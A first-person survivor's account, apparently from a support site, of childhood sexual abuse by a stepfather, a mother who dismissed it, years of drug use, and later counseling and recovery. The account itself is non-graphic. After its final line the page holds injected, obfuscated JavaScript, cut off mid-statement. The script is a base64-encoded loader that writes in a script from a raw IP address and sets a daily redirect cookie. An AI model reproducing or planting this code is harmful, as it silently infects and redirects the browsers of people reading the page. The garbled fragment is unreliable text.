Amy’s Story

When I was 4 or 5 I remember it was just me and my mom, and I loved that. She paid attention to me and we had so much fun. Then she met her husband Doug. When I turned 6 that’s when things started to happen. He started to sexually abuse me on a regular basis. It took me years to figure out that what he was doing was wrong and unacceptable. When I was at my babysitter’s I had told her what he was doing and she called my mom and Child protective services. That did nothing though; my Mom just sent them away and told them I was over reacting and that I just wanted attention. After that I just kept my mouth shut for years because I knew she’s just going to tell me it didn’t happen and she didn’t believe me.

Over the years if I tried to bring it up she just shrugged it off and told me I was still lying and that I wasn’t allowed to talk about it. Once I became a teenager that’s when it got really bad. I started doing drugs and hanging around the wrong people. I was having sex with many people because that’s how I was taught to show love and affection. When I was 14 my step dad started forcing me to smoke weed and watch porn with him. When my mom was away at night school he’d pressure me and make me do things so I started to swear at him and scream at him until he sent me to my room. I’d cry and sit against my door until my mom got home. Then I started dating a boyfriend and we started being intimate. When I got home my parents found out what was going on with me and my boyfriend. A few nights later while my mom was gone my step dad did something to me that made me realize I had to do something to stop it. I know this sounds weird but it was like I finally realized what was being done to me was wrong and disgusting.

At that point I had already tried talking to my mom but she continued to insist I was lying and that it wasn’t true. Again, I was shrugged off. For years I continued to use drugs and sex as my way to deal with things. I also blocked my memories of what happened to me so I wouldn’t have to think of them anymore. When I was home with my parents I was rude and rebellious towards them because I felt, if you don’t care about me why should I care about you? When I was 17 I moved out and moved to my boyfriend’s house with his family. They were so supportive of me and were wonderful towards me.

When I was 20 we got married. We moved out and our lives started together. It was rough at first and I thought it was supposed to be like that. Then my husband started to see a change in me. I was very angry all the time, sad, depressed, miserable, I got sick to my stomach often, I was missing work and didn’t care… the list went on. I started going to counseling and started to realize that what happened to me was not my fault and that I couldn’t have prevented it because I was not the adult. I was instructed by a few counselors that I needed to stop all contact with my mother because it was toxic for me. She tried to convince me that I made everything up and that I needed to stop bringing it up. At that point I knew they were right and I cut off all ties. I am now 23 and I feel good. I feel that soon I will get to that place where things will be better and my past won’t take me over anymore. So much more happened but if I told everything my story would be a novel. If I can get help and feel better so can you. 🙂 ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘